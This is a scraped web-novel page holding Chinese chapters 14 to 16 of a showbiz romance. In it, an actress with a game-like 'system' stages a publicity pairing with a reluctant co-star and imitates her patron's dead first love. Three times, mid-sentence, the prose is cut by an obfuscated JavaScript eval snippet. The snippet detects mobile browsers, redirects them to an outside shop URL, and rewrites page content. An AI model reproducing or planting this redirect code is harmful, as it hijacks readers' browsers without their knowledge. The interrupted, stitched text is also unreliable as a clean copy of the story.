l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564979|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息好?喝点热的暖暖身子,外面风大。” 程跃的手僵在半空中,既没接咖啡,也没敢看尚知遥的眼睛,过了几秒才含糊地说“不用了谢谢,我不渴”,然后绕开尚知遥快步走向化妆间,脚步快得像是在逃。 尚知遥看着她的背影,嘴角的笑意没散。 她当然知道程跃为什么别扭。程跃一向想走“独立小白花”路线,最在意“清纯”人设,现在被按头和“全网黑”的自己炒CP,还被网友扒出各种“暧昧细节”,心里肯定不痛快。 但她又不能明着拒绝,毕竟这波热度对她来说也有好处,只能用这种避之不及的态度表达不满。 可尚知遥没打算顺着她的意。 薛颖的营销方案里写得很清楚,“CP互动需自然,避免刻意,但必要时需主动引导,确保热度不散”。 现在程跃避着她,她就得主动点,完成这所谓的“卖腐指标”。 不仅要完成,还要完成得漂亮,让网友觉得她们俩是双向奔赴,不是一方热脸贴冷屁股。 于是接下来的一下午,只要有镜头能拍到的地方,尚知遥都“恰到好处”地和程跃产生互动。 程跃坐在休息区看剧本时,尚知遥端着水杯走过去,弯腰凑到她身边,手指点了点剧本上的某段台词,“小程你看这段,秦素面对林薇质问时的情绪,是不是该带点委屈又倔强的感觉?我总觉得我之前演得太硬了,想跟你请教一下”; 程跃去道具组拿自己落下的发夹时,尚知遥刚好也要去借下一场戏用的剧本,两人在道具间门口“偶遇”,尚知遥笑着说“好巧啊小程,你也来拿东西?刚才拍那场戏你的发夹掉了,我让小棠收起来了,给你”,说着从口袋里拿出那个珍珠发夹递过去; 甚至程跃去洗手间时,尚知遥都在她出来时“刚好”站在洗手池旁补口红,看到她过来,笑着说“小程刚是不是不舒服?我看你脸色一直不太好,小棠包里有晕车药,要不要拿点?” 每一次互动,程跃的反应都差不多,要么勉强扯出个笑容敷衍过去,要么找借口“我还有事”赶紧离开,全程紧绷着身体,像是在应付什么难以忍受的任务。 有一次尚知遥帮她捡掉在地上的剧本,手指不小心碰到她的手,程跃像被烫到一样立刻缩了回去,脸都白了。 但这些“不自然的互动”,落在镜头里、落在路人眼里,反而成了“傲娇恶女vs害羞小白花”的名场面。 当天晚上,就有营销号发了“尚知遥程跃片场互动合集”,标题是“表面互相嫌弃,实则暗戳戳关心,这对CP我先嗑为敬”,视频里特意把程跃“躲闪的眼神”“僵硬的动作”剪进去,配文“程姐别害羞啊!喜欢就大胆点!”,评论区又是一片“好嗑”的欢呼: “谁懂啊!这种推拉感绝了!” “程跃肯定是喜欢遥姐但不好意思说!” “林薇你快主动点!别让秦素等急了!” 程跃大概是实在受不了这种“被迫营业”,当天傍晚就找了个“家里有事”的借口离开了剧组。 临走前她跟薛颖通了个电话,尚知遥远远地看到她站在车旁,一边打电话一边揉眼睛,似乎满是委屈,可最终也没能改变什么。 她团队比谁都清楚,现在解绑,损失最大的是她自己,不仅会失去这波热度,还会被粉丝骂不识好歹,甚至连“渣女”这种话都可能会说得出来。 本以为这事就这么过去了,结果两天后,网上又炸了。 宋小棠急慌慌地拿着手机给她看:“有人把你和程跃在剧组的互动拍成了高清视频传到了网上,视频时长足足有五分钟,画质很清晰,像是专业设备拍的,肯定是有狗仔蹲守了很久!” 尚知遥接过手机挑了挑眉,道:“谁这么好心,还免了我安排狗仔的钱了。” 15. 第 15 章 视频开头是尚知遥给程跃递咖啡被拒的片段,镜头特意放大了程跃转身时差点撞到道具箱,尚知遥伸手扶了她一把的瞬间。 尚知遥的手刚碰到程跃的胳膊,程跃就像触电一样缩了回去,但镜头捕捉到她耳尖红了。 接着是两人在化妆间门口的“偶遇”,尚知遥笑着说话时,程跃一直低头盯着自己的鞋尖,手指无意识地绞着裙摆,像是紧张得不知道该怎么回应。 中间还有一段未公开的花絮:拍戏时,程跃的戏服被风吹得掀了起来,尚知遥站在旁边,顺手帮她拉了拉衣摆,程跃抬头看了她一眼,说了句“谢谢”,声音小得像蚊子叫。 最后是程跃离开时的画面,程跃坐进车里后,还从车窗里往外看了一眼,而尚知遥站在片场门口,刚好也朝着车的方向望去,虽然隔着段距离,但镜头角度找得极好,像是两人在“隔空相望”。 这段视频一出来,CP粉们彻底疯了,#知己双女配双向奔赴#的词条直接冲上了热搜第五位。超话里的大粉连夜整理了“视频糖点分析”,连程跃“绞裙摆的频率”“耳尖红的程度”都分析得清清楚楚;还有粉丝去程跃和尚知遥的微博下留言: “求两位姐姐多互动!” “《知己》快点播!我要看完整版!” “别藏了!我们都懂!” 薛颖显然早就等着这个机会。视频上传还不到两小时,网上就开始出现一批通稿,通稿的标题都很有讲究,不直接提CP,却处处透着关联: 《〈知己〉片场路透:尚知遥贴心照顾同组演员,细节见人品》里面放了尚知遥帮群演递水、帮程跃拉衣摆、给工作人员分零食的照片,配文“一直被黑‘霸凌’的尚知遥,私下里其实是个暖心的大姐姐,片场所有人都夸她脾气好”。 《程跃和尚知遥片场互动温馨,破除不和传闻》里面引用了几位群演的匿名采访,“遥姐和程姐关系挺好的,经常一起对台词”“上次程姐感冒,遥姐还让助理给她送了药”,还附了两人一起吃盒饭的照片。 《从全网黑到路人夸,她靠的不只是运气》这篇通稿最狠,直接放了之前“霸凌事件”的片场监控截图:截图里清晰地显示,是程跃先撞到了尚知遥的助理,还打翻了助理手里的水杯,助理说了她两句,程跃反而哭了,而尚知遥只是走过去说了句“有话好好说”,根本没有“大打出手”;通稿还提到尚知遥为了拍好一场淋雨戏,反复拍了八遍,直到导演满意为止,“这样敬业的演员,不该被谣言埋没”。 这套组合拳打下来,效果比薛颖预想的还要好。 之前在尚知遥微博下骂她霸凌的网友,开始批量道歉: “遥姐对不起之前错怪你了,原来都是误会” “看了监控才知道是程跃先动手,遥姐也太冤了” “之前被营销号带节奏了,以后会关注你的作品” “深夜研读剧本那段好戳我,现在这么敬业的年轻演员不多了” “给群演递水那个细节好暖,路人转粉了” “看了她的采访,觉得她性格还不错,说话很实在” 甚至还有些之前的黑粉,也改了口风:“虽然之前不喜欢她,但客观说,这次的营销不讨厌,至少没撒谎” 连业内人士都开始关注她,有导演在微博上点赞了尚知遥的敬业路透,配文“好演员值得被看见”。 尚知遥是在晚上八点多收到霍景宴发来的消息时,才真正感受到这波营销的威力。 霍景宴没多说什么,只发了张截图,是《知己》在视频平台的预约量数据,比三天前涨了30%,已经突破了50万,后面还附了句“薛颖的方案不错,继续保持。” 她笑着回复“谢谢霍总,麻烦您了”,刚放下手机,周向晨的电话就打了过来。 电话里他的声音有点闷,像是刚哭过,又像是在吃醋:“遥姐,网上那些视频……都是真的吗?你和程跃姐……你们真的是那种关系吗?怪不得你一直不愿意答应我……” “只是为了宣发,向晨。”尚知遥打断他,语气尽量放温柔,“你也知道,现在剧组需要热度,我之前的口碑不好,需要借这波CP风扭转一下,都是工作而已。” 电话那头沉默了几秒,然后传来周向晨委屈的声音,带着点鼻音:“我知道是工作……可是我看了不舒服。遥姐,你别和她走太近好不好?她对你又不好,还总躲着你。我也可以陪你拍花絮,陪你接受采访,你想怎么样都可以……我比她配合多了。” 尚知遥无奈地叹了口气,靠在椅背上揉了揉太阳穴:“向晨,我知道你关心我,但这是工作,我不能因为个人情绪影响剧组的安排。等宣发期过了,我就不会和她有这么多互动了,好不好?” “真的吗?”周向晨的声音立刻亮了起来,像是抓住了救命稻草,“遥姐你说话算话?宣发期过了就不和她走太近了?” “真的。”尚知遥点头,虽然知道周向晨看不到,“我明天给你带你喜欢吃的那家蛋挞,好不好?你早点休息,明天还要练舞,别想太多了。” “好!谢谢遥姐!”周向晨的声音瞬间变得开心,“我会好好练舞的,遥姐你也早点休息,别太累了。” 挂了电话,尚知遥看着黑掉的手机屏幕,嘴角勾起一抹淡淡的笑。周向晨这孩子,还是太好哄了,一点小承诺就能让他开心半天。 【宿主,你现在的路人缘指数已经提升了不少,大多数网友对你的印象由“负面”转为“中性偏正面”。另外,由于口碑转变,三位男主的好感度发生了变化,周向晨好感度-1,当前66%,霍景宴好感度+2,许淮专业好感度+2。】 第二天一早,尚知遥刚到片场,就被许淮叫到了编剧工作室。 许淮坐在桌子后面,手里拿着剧本,脸上没什么表情:“昨天那场戏,你最后那个眼神不对。” 尚知遥愣了一下,赶紧凑过去:“许老师您说的是哪段?” “林薇看着秦素离开的那段。”许淮翻到剧本的某一页,指着其中一句台词,“这里林薇的情绪应该是‘不甘’大于‘不舍’,你昨天演得太柔和了,像真的动心了,不对。” 尚知遥恍然大悟,昨天拍那场戏时,她刚看了网上的CP视频,下意识地把情绪带偏了。 “对不起许老师,我下次会注意。”她赶紧道歉,心里却有点庆幸,还好有许淮这么个对演技要求很高的老师在,否则她恐怕真的要跌入流量的怪圈了。 许淮点了点头,没再批评,反而递过来一份修改后的剧本:“这是加的一场戏,林薇和秦素的对手戏,下周拍。你先看看,有想法随时跟我说。” 尚知遥接过剧本,翻开一看,眼睛一亮。 这场戏讲的是林薇气冲冲地找到秦素,原本是想质问她“为什么抢了自己的东西”,但最后却只说了句“你要好好的”,台词里全是隐忍的情绪,既有恶女的傲娇,又有隐藏的温柔,刚好能呼应网上的CP热度,又不会显得刻意。 “谢谢许老师!”尚知遥抬头笑了,“我一定会好好琢磨这段戏!” 许淮看着她的笑容,嘴角几不可察地勾了一下,然后又恢复了严肃的表情:“别光顾着琢磨CP,演技才是根本。要是演砸了,加再多戏也没用,浪费时间。” “我知道!”尚知遥点了点头,她知道,许淮这是在提醒她,别被营销冲昏了头,忘了演员的本职。 在这个圈子里,营销只能带来一时的热度,真正能让人站稳脚跟的,还是演技。 从工作室出来时,周向晨正站在门口等她,手里提着一个保温桶,脸上带着点讨好的笑,像只等待主人夸奖的小狗。 “遥姐,我给你熬了银耳羹,里面加了红枣和莲子,你快喝点润润嗓子。昨天一天戏你肯定累坏了,天气凉,别感冒了。” 尚知遥接过保温桶,打开一看,银耳羹熬得软糯香甜,红枣和莲子炖得恰到好处,一看就是花了不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583795|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间。 她舀了一勺尝了尝,甜而不腻,刚好符合她的口味。 “谢谢你向晨,很好喝。”她笑着说,伸手摸了摸他的头,“你也别总想着给我送东西,自己也要注意休息,练舞别太累了。” 周向晨的脸瞬间红了,挠了挠头笑得像个孩子:“我不累!只要遥姐你喜欢,我天天给你熬都可以。对了遥姐,你昨天说的蛋挞……” “放心,没忘。”尚知遥从包里拿出一个纸袋递过去,“我早上特意绕路买的,还是热的,你快吃吧。” “谢谢遥姐!”周向晨接过纸袋,开心得差点跳起来,“遥姐你真好!” 尚知遥看着他的样子,心里叹了口气。 正说着,程跃的车开进了片场。 车窗降下,程跃坐在副驾驶上,看到尚知遥时,犹豫了一下,还是对着她点了点头,算是打招呼,眼神里的警惕少了些,多了点无奈。 尚知遥也对着她笑了笑,心里清楚——薛颖肯定跟她团队谈妥了,接下来的互动,会顺畅很多。 果然,当天下午拍一场两人的对手戏时,程跃主动走到尚知遥身边,手里拿着剧本,语气虽然还是有点生硬,但比之前好多了:“尚老师,我们对一下台词吧?我总觉得这段情绪不太对。” “好啊。”尚知遥笑着点头,拿起剧本和她一起走到休息区。 拍的时候,程跃甚至还按照薛颖的“建议”,在尚知遥说完“你要好好的”这句台词后,主动加了个“眼神躲闪、耳尖发红”的小动作,刚好被镜头捕捉到。副导演当场就笑了,对着监视器说:“好!这个感觉对了!就是要这种拉扯感!尚知遥你再配合一下,眼神再冷一点,反差感就出来了!” 尚知遥配合着调整情绪,心里了然——程跃虽然别扭,但也不是不懂“识时务”。 在这个圈子里,想要红,就要学会妥协。 晚上收工时,薛颖发来消息,说访谈已经安排好了,下周三在市区的演播厅录制,让她提前准备好提纲。 “程跃那边已经答应会主动提起你指导她拍戏的事,你配合着接话就行,别太刻意,自然点。” 尚知遥回复:“收到,我会准备好的。”然后打开了访谈提纲。 里面果然有不少关于的问题,比如“合作下来觉得对方怎么样?有没有什么印象深刻的小事?”“网上的CP视频看了吗?觉得网友磕的点合理吗?”“如果有机会,还会和对方合作吗?”之类的。 她一边看,一边在心里琢磨着怎么回答。 既不能太刻意地炒CP,以免引起路人反感;又要能满足CP粉的期待,维持热度;还要趁机展现自己的“敬业”“暖心”人设,为后续的口碑反转铺垫。 比如被问到“觉得对方怎么样”时,她可以说“小程很认真,每次拍戏前都会提前准备好,跟她对戏很舒服”; 被问到CP视频时,可以笑着说“网友很有想象力,不过我们拍的时候就是正常的对手戏,可能是剧情太有张力了,才让大家有这种感觉”; 被问到“会不会再合作”时,可以说“只要剧本合适,有好的角色,我很乐意和小程再合作”。 既不得罪人,又能达到营销目的,还显得自然不刻意。 她拿起手机,给霍景宴发了条消息:“霍总,下周的访谈可能需要您这边帮忙协调一下媒体,避免问太尖锐的问题,比如之前的霸凌传闻。另外,李总的电影试镜,您有没有什么建议?我想提前准备一下。” 霍景宴回复得很快:“媒体那边我会打招呼,让他们多问作品相关的问题。李总的电影注重‘女性力量’,你可以多准备点对‘女性独立’的理解,结合角色谈,他很吃这一套。但是注意不要太过激,对你自己路人缘影响也不好。试镜前我让助理把李总的过往采访发给你,你看看他的偏好。” 不得不承认,霍景宴真的是个“好盟友”,总能在关键时刻给她有用的建议和资源。 16. 第 16 章 尚知遥嘴角带着笑意回复道:“谢谢霍总,我会努力不给你丢脸的。” 片刻后,霍景宴发来了新消息:“明天晚上有空吗?我母亲生日,希望你能陪我一起参加家庭晚宴。” 尚知遥微微一怔。家庭晚宴? 这意味着她将以一个特殊的身份,进入霍景宴最私密的生活圈。这比任何公开活动都更具挑战性。 “我妈喜欢懂事、不张扬的女孩,”霍景宴像是猜到了她的顾虑,又发来一条消息,“你少说话,多听就好。” “好的,霍总。”她回复道,“我会准备好的。” 京城刚下过一场小雨,空气里带着湿润的凉意。 傍晚六点半,尚知遥站在落地镜前,审视着自己的打扮。 一袭鹅黄色的连衣裙,剪裁简约,裙摆刚好过膝,露出纤细的小腿。外面罩着一件浅驼色的羊绒开衫,既保暖又不失优雅。 妆容是精致的裸妆,唇色淡雅,长发被她简单地挽成一个低发髻,几缕碎发垂在耳畔,增添了几分柔和。 "遥姐,你这样去,肯定没问题。"宋小棠提着一个包装精美的礼物盒站在门口,眼睛亮晶晶的,"我买了阿姨最爱的牌子的丝巾,颜色也挑了最衬肤色的。" 尚知遥接过礼物盒,点了点头:"辛苦了,小棠。今晚我自己过去就好,你早点回去休息。" 七点整,霍景宴的车准时停在公寓楼下。 "抱歉,临时有点事,来晚了。"霍景宴下车,替她拉开车门,目光在她身上停留了一瞬,眼底闪过一丝不易察觉的惊艳,"很漂亮。" "谢谢。"尚知遥微微颔首,坐进车里。 车子平稳地驶离小区,霍景宴侧过身,将一份文件递给她:"这是待会儿可能会用到的一些信息,我母亲的兴趣爱好,家里长辈的一些忌讳,你先看看,心里有个底。" 尚知遥接过文件,认真地翻看起来。 霍景宴的母亲喜欢古典音乐,尤其钟爱肖邦;喜欢收集茶具,对普洱情有独钟;平日里最大的爱好是研究各种家常菜;最忌讳的是别人在她面前谈论"明星绯闻"。 "记住了。"尚知遥合上文件,抬眸看向霍景宴,"放心吧,我不会给你丢脸的。" 霍景宴看了她一眼,语气比平时柔和了许多:"我妈喜欢懂事、不张扬的女孩,你少说话,多听就好。" "嗯。"尚知遥轻轻应了一声。 车子驶入霍家老宅的大门,穿过一条长长的林荫道,停在一栋古色古香的别墅前。 "到了。"霍景宴先下车,绕到另一侧替她打开车门,伸出手来,"走吧。" 尚知遥将手放进他的掌心,感受到他掌心的温度,心跳莫名地快了一拍。 走进别墅,扑面而来的是温暖的灯光和淡淡的茶香。客厅里已经有几位客人,都是霍家的亲戚。 霍景宴的母亲正坐在沙发上,与一位中年男子交谈。 "妈,生日快乐。"霍景宴走上前,将准备好的礼物递给母亲,又介绍道,"这是尚知遥,我的爱人。" 尚知遥心下讶异他的用词,但还是乖巧地鞠了一躬,声音轻柔:"阿姨您好,生日快乐。" 霍母上下打量了她一番,满意地点了点头:"坐吧。" 尚知遥在霍母旁边的沙发上坐下,将自己准备的礼物递过去:"这是我给您准备的一点心意,希望您喜欢。" 霍母接过礼物,打开一看,是一条墨绿色的丝巾,质地柔软,光泽柔和。她满意地笑了:"眼光不错,这个颜色我很喜欢。" "谢谢阿姨夸奖。"尚知遥微微一笑,目光落在茶几上的茶具上,"阿姨喜欢普洱?" "嗯,你也喜欢?"霍母饶有兴致地问道。 "我不太懂茶,只是姥姥也喜欢喝茶,家里经常备着各种茶叶。"尚知遥谦逊地回答,"我偶尔也会陪姥姥喝一点。" "那你姥姥喜欢喝什么茶?"霍母问道。 "普洱和龙井都喜欢,夏天的时候会喝一些菊花茶。"尚知遥回答,"姥姥说普洱养胃,龙井提神,菊花茶清热解暑。" "说得有道理。"霍母点了点头,对这个懂礼貌又谦逊的女孩多了几分好感,"在娱乐圈打拼不容易吧,以后有什么打算?" 尚知遥放下茶杯,双手交叠放在膝上,姿态端正:"先专注于拍戏,提升自己的演技,在这个圈子里工作,光靠我其实成不了什么气候,景宴……他帮了我很多。" 说着,她仰头看向霍景宴的脸,正对上男人深不可测的目光。 她莞尔一笑,将手虚虚地搭在霍景宴的腿上,收回了目光。 霍母满意地点了点头:"不错,年轻人就应该脚踏实地。" 晚宴在轻松愉快的氛围中开始了。餐桌上摆满了各种精致的菜肴,色香味俱全。 霍景宴坐在尚知遥旁边,不时给她夹菜,细心地避开了她不吃的香菜。 "尝尝这个,我妈今天特地做的红烧肉,味道很不错。"霍景宴将一块红烧肉夹到她碗里。 尚知遥尝了一口,眼睛一亮:"真的很好吃,肥而不腻,入口即化。" 霍母听到夸奖,笑容更加灿烂:"喜欢就多吃点。我年轻的时候最喜欢研究各种家常菜,现在年纪大了,也没那么多精力了。" "阿姨的手艺这么好,应该多做给大家尝尝。"尚知遥笑着说,"我姥姥也喜欢做红烧肉,下次有机会可以带过来给您尝尝,让您点评一下。" "好啊,我很期待。"霍母高兴地答应了。 席间,大家聊起了各种话题,从天气谈到旅游,从音乐谈到书画。 尚知遥很少主动发言,只是在适当的时候附和几句,或者提出一两个问题,让谈话能够顺畅地进行下去。 “哎,我说这孩子怎么看着这么眼熟,你长得像那个……”突然,霍母话锋一转,提到了一个让尚知遥有些意外的名字,“就是景宴以前那个同学,叫安柠的是吧?” 霍景宴微微一愣,随即不动声色地用脚碰了碰尚知遥的腿,示意她不要接话。 尚知遥会意,低下头继续吃饭,假装没有听到这个话题。 “您记错了,妈。”霍景宴笑着搪塞道,“都那么多年没见了,连我都记不清她长什么样了。” “是吗?”霍母想了想,似乎是认同了霍景宴的说法,没再多说什么。 听霍母的说法,似乎并不知道安柠去世的事,当年也只是见过面 晚宴在九点半左右结束。客人们陆续离开,霍母拉住尚知遥的手,亲切地说:"知遥,有空常来家里坐坐,陪我聊聊天。" "好的,阿姨。"尚知遥乖巧地答应了。 霍景宴送尚知遥回家。车子驶出霍家老宅,两人都没有说话。 过了一会儿,霍景宴打破了沉默:"我妈很喜欢你,以后有机会可以多来家里坐坐。" 尚知遥转过头,看着他。路灯的光影在他脸上交替闪烁,勾勒出他俊朗的轮廓。 “我很乐意,阿姨也比我想象的更有亲和力。”尚知遥笑笑,“阿姨很喜欢我,那霍总呢?” 霍景宴似乎一愣,但并没有看她,眼睛依旧盯着前面的路况:“这重要吗?在外人眼里你是我的女友,我们很相爱,这就够了。” 尚知遥无言以对,只能低下头沉默。 车内的空气在霍景宴开口的瞬间,像被无形的手按下了暂停键。 不久后,车子停在她的公寓楼下。尚知遥解开安全带,准备下车,却忽然听到霍景宴打破了沉默。 "今天我妈提到的安柠,"霍景宴目视前方,语气平静得近乎冷漠,"你应该知道她……你当然会知道她。" 尚知遥握着手机的手指微微收紧,指节泛白,但她很快松开,姿态依旧优雅从容。 "我对你有兴趣,的确是因为安柠。"霍景宴语气平淡,"但我不否认,你是个值得培养的优秀演员。就算没有安柠这一层关系,这些资源用在你身上,也不算浪费。" 【系统提示:宿主,这是推进攻略进度的绝佳机会。请谨慎选择回应方式。】 尚知遥的唇角勾起一抹恰到好处的微笑,那笑意浅浅的,既不卑微,也不张扬,像一泓清水,映照着对方的心思。 "多谢霍总夸赞。"她的声音轻柔,却带着一丝不易察觉的锋芒,"不过,如果我比现在更像她,你会不会……对我更感兴趣?" 霍景宴的眉心几不可察地动了一下。他转过头,深邃的眼眸中闪过一丝玩味与探究,像是在衡量一件艺术品的价值。 "你可以试试。"他淡淡地说,语气里听不出喜怒。 "好。"尚知遥笑了,笑容像夜色中一朵悄然绽放的花,"那霍总可以跟我讲讲,安柠小姐是个什么样的人吗?" 霍景宴抬眼看她,片刻后又转过头去,俊朗的脸庞被阴影覆盖。 “她……很温柔,很明亮,瘦瘦高高的,总是对所有课程都游刃有余的样子……她那时候成绩比我好,教授都说她是学商科的天才……或许是天妒英才,她身体很差,经常发烧,还有胃病,畏寒又怕热,皮肤总是苍白得像纸一样,后来真的就……” 尚知遥看着眼前这个一聊起安柠就滔滔不绝的男人,心里有些惊讶。 她原本以为霍景宴跟那些小说里写的霸总一样,不过是表面装出一副专情的样子,实际上背地里玩的比谁都花。如今看他对安柠如此了解,才对他的深情相信了几分。 第二天清晨,尚知遥的房门被敲响。宋小棠抱着一个快递箱,兴奋地冲进来。 "遥姐!霍总送的!" 尚知遥打开箱子,里面是一条款式精美的酒红色礼服裙,质地精良,剪裁贴合她的身形。旁边还有一个小丝绒盒,打开,是一条金项链,一对金耳饰,还有一条金手链。 "这……"宋小棠眼睛都看直了,"这不会是结婚用的三金吧?天哪遥姐,你可别吓我,就算对象是咱大老板,结婚这种大事也是要上报的!" 尚知遥一一拿起来试戴,若有所思。 她记得,在之前看过的一些关于安柠的旧闻里,曾提到过她最喜欢的首饰品牌,正是这个系列。 她的唇角微微上扬,这个男人,真是……坦诚得可怕。 深秋的傍晚,暮色像一层被雨水浸软的棉絮,慢悠悠地裹住霍景宴公寓所在的半山别墅区。 车道两旁的悬铃木落尽了叶子,光秃秃的枝桠斜斜地刺进灰蓝色的天空,风一吹,就晃出细碎的呜咽声。 尚知遥坐在客厅的丝绒沙发上,指尖无意识地摩挲着玻璃杯壁——杯里的温水是霍景宴刚才倒的,温度刚好,却被她攥得指尖发僵。 空气中飘着若有似无的檀香,是霍景宴惯用的香薰味道,混着厨房飘来的烤吐司香气,暖得让人犯困。 尚知遥偷偷抬眼,看见霍景宴正坐在对面的单人沙发上,解开领带随手搭在扶手上,骨节分明的手指捏着一份财经报纸,目光落在版面上,却没怎么动,像是在等她开口,又像是在琢磨别的事。 尚知遥心里忽然想起安柠生病时的样子。她在霍景宴珍藏的相册里看到过,那张照片是在病房拍摄的,安柠手里捧着一杯温水,只能病恹恹地靠在床头,眼神却清澈明亮,发白的嘴唇微微张着,不知道在与拍摄者说些什么,整个人软得像棉花。 她深吸一口气,学着那个样子,把玻璃杯往掌心又拢了拢,刻意放轻声音,连尾音都带上了一点自己平时没有的软糯:“霍总,今天的水好像比平时温一点,刚好能焐手。” 霍景宴翻报纸的手顿了顿,指腹在报纸边缘无意识地蹭了蹭,好笑又无奈。 他抬眸看她,眉梢几不可察地挑了一下,目光先落在她攥着杯子的手上:那双手平时握剧本时指节分明,拿咖啡杯时手腕放松,现在却像捏着什么易碎品似的,指节泛着用力的白,连手腕都绷得发紧,杯底在茶几上轻轻磕了一下,发出细微的声响。 他没立刻拆穿,只是视线又落回她脸上,语气平淡得像在说天气:“你上周在片场喝冰美式,助理刚从冰箱拿出来,你接过去就灌了半杯,当时怎么没说胃沉?” 尚知遥的指尖猛地一顿,杯子里的温水晃出一圈涟漪,溅了一滴在虎口上,惊得她一缩。 她连忙扯出个笑,试图圆过去:“那不是在赶戏吗?忙起来就顾不上了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586806|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在闲下来,倒觉得胃里空落落的,想喝点温的。” 霍景宴没接话,只是把报纸往茶几上一放,指腹在报纸折痕处按了按——那是他懒得反驳时的小动作。 他起身走向厨房:“阿姨烤了吐司,要涂黄油还是果酱?” 尚知遥心里又活络起来。她记得安柠吃吐司只涂一层薄薄的草莓果酱,还喜欢把吐司边撕下来,先咬一口边,再小口啃中间的部分。说是这样吃,果酱的甜味能留得久一点。 她连忙跟上,站在厨房门口,看着霍景宴打开果酱罐,故意放轻脚步走过去,声音又软了几分:“我要草莓果酱就好,少涂一点,太厚了会腻。” 说着,还伸手去拿吐司盘里的一片,指尖捏着吐司边,小心翼翼地撕下来,动作太刻意,指甲掐进吐司里,撕的时候太用力,吐司边碎了一小块,掉在了地板上。 霍景宴正拿着勺子舀果酱,余光瞥见那截掉在地上的吐司边,又看了看尚知遥僵在半空的手。 她平时吃吐司从来不管边,有时候急了还会直接用手撕成两半,嚼得飞快,面包渣都能沾到嘴角,哪有这么“斯文”的样子。 他手里的勺子顿了顿,果酱在勺沿挂了一滴,慢慢滴落在吐司上,晕开一小片红色。 “你撕吐司的时候,能不能别跟拆炸弹似的?”他把涂好果酱的吐司放在她面前的盘子里,语气里带着点无奈,视线落在她捏着吐司的手指上。 尚知遥咬着吐司边的动作瞬间停住,嘴里的面包渣都忘了咽。 她低头看了看手里的吐司,果然被捏出了一道深深的指印,心里有点发堵。 她尴尬地把嘴里的吐司咽下去,拿起涂好果酱的吐司,咬得太急,果酱沾到了嘴角,像个偷吃糖的小孩。 霍景宴从抽屉里抽了张纸巾,递过去时,指尖不小心碰到她的手背。她的手居然有点凉,明明刚才还在焐杯子。 他收回手,插在裤兜里,语气里的无奈更浓了:“擦一下。你平时吃西餐,刀叉用得比谁都稳,怎么吃个吐司倒手忙脚乱的?沾了果酱,用纸巾擦掉就好,不要用手背抹,不卫生,也不文雅。” 尚知遥接过纸巾,胡乱擦了擦嘴角,连耳根都有点发烫。 她原本以为模仿不难,不过是学几个小动作、说几句软话,可真做起来才发现,白月光大小姐的那种自然的柔软,是刻在骨子里的,她学不来,只会像个穿错衣服的演员,怎么看都别扭。 两人回到客厅,霍景宴打开电视,调到了一个古典音乐频道,刚好在放肖邦的夜曲。 尚知遥知道安柠最喜欢肖邦的夜曲,尤其是降E大调那首,听的时候会闭上眼睛,手指跟着旋律轻轻打拍子,像在弹钢琴,手腕还会跟着晃一下。 她深吸一口气,学着那个样子,把后背往沙发上靠了靠,闭上眼睛,右手食指轻轻搭在膝盖上,想跟着旋律打拍子。 可她对这首曲子不熟,拍子总也踩不准,手指要么快半拍,要么慢半拍,有时候还会突然顿一下,像卡壳的钟表,手腕晃得也生硬,像是被人提着线的木偶。 霍景宴原本靠在沙发上,头微微偏着,像是在认真听音乐,可余光一直没离开她。 他看见尚知遥闭着眼睛,眉头微微皱着,嘴角绷得发紧,连呼吸都有点急促。 哪有一点享受音乐的样子,倒像是在完成什么艰巨的任务。 他忽然觉得有点好笑,手指在沙发扶手上轻轻敲了敲,节奏刚好跟上音乐的拍子。 等一段旋律结束,他才开口,语气里带着点哭笑不得:“你平时听摇滚,跟着鼓点晃头的时候挺自然,怎么一听古典乐,就跟被按了暂停键似的?” 尚知遥的脸瞬间红了,连忙收回手,放在腿上,心里又委屈又有点生气。她都这么努力了,怎么还是被一眼看穿? 霍景宴看着她垂着头的样子,手指在扶手上又敲了敲,语气里多了点认真:“尚知遥,你能不能再用点心?连纯粹的模仿都不会,反而弄巧成拙。你让我很失望。” 他每说一句,尚知遥的头就垂得更低一点,直到他说完,她才猛地抬起头,眼神里没了刚才的局促,反而带着点破罐子破摔的坦然。 她心里下意识地问系统:【现在霍景宴的好感度是多少?】 【系统提示:当前霍景宴好感度为70%,无波动。】 70%。尚知遥心里松了口气,忽然就不想装了。 她站起身,拿起搭在沙发扶手上的驼色外套,动作干脆利落,她穿外套时,习惯性地把领子立起来一点,手腕一甩,袖子就套好了,完全没了刚才的小心翼翼。 她把外套拉链拉到胸口,拿起放在茶几上的包,转身就往门口走。 “霍总,您也太会挑刺了。”她走到玄关,手搭在门把手上,回头看了他一眼,语气里没了刚才的软糯,又恢复了平时的冷静,甚至带了点调侃,“今天就到这儿吧,毕竟替身也该下班了。” 霍景宴愣了一下,手指在沙发扶手上停住,眼神里闪过一丝惊讶。 他以为她会委屈,会辩解,甚至会生气,却没想到她会这么干脆地退场。 他还没反应过来,就看见尚知遥拉开门,又补充了一句:“明天见,霍总。记得早点休息,别总看财经报纸。你上次说颈椎不舒服,别又熬夜。” 门“咔嗒”一声关上,客厅里瞬间安静下来,只剩下肖邦的夜曲还在轻轻流淌。 